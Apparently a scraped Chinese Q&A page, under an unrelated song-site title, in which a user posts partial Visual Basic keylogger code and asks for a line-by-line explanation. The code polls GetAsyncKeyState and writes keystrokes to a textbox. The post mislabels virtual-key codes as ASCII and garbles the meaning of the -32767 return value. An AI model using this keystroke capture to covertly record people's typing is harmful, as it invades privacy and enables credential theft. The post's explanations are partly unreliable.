blackpink歌曲酷狗:请大家帮我一个忙,详细地解析一下以下键盘记录的代码。急~~

来源:百度文库 编辑:杭州交通信息网 时间:2024/05/05 09:09:48
以下是用VB编写的键盘记录代码,程序有一个textbox、两个timer(timer1、timer2):

Private KeyLoop As Long
Private FoundKeys As String
Private KeyResult As Long

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Public Sub Form_Load()
LastKey = ""
TimeOut = 0
End Sub

Private Sub Timer1_Timer()
Dim AddKey

KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(17)
If KeyResult = -32767 Then
AddKey = "[CTRL]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey = "[BKSPACE]"
GoTo KeyFound
End If

()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……
由于太多中间省略。

KeyResult = GetAsyncKeyState(16) '219
If KeyResult = -32767 And TimeOut = 0 Then
AddKey = "[SHIFT]"
LastKey = AddKey
TimeOut = 1
GoTo KeyFound
End If
Skip:
KeyLoop = 41

Do Until KeyLoop = 256 ' otherwise check For numbers and letters
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)
KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound:

Text1 = Text1 & AddKey
End Sub

Private Sub Timer2_Timer()
TimeOut = 0
End Sub

还有一个模块
Global LastKey As String
Global TimeOut As Byte
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

请大家帮忙解析下这些代码,中间那写通过AscII获取键值的就不用了,越详细越好,最好好像编写程序那样把每行代码也注析一下!另外syncKeyState函数根据虚拟键表判断按键的类型。返回值为一个16位的二进值数,如果被按下则最高位为1,即返回-32767。是什么意思?网上也有一遍解析这段代码的文章,但不够详细,我需要你们自己的答案。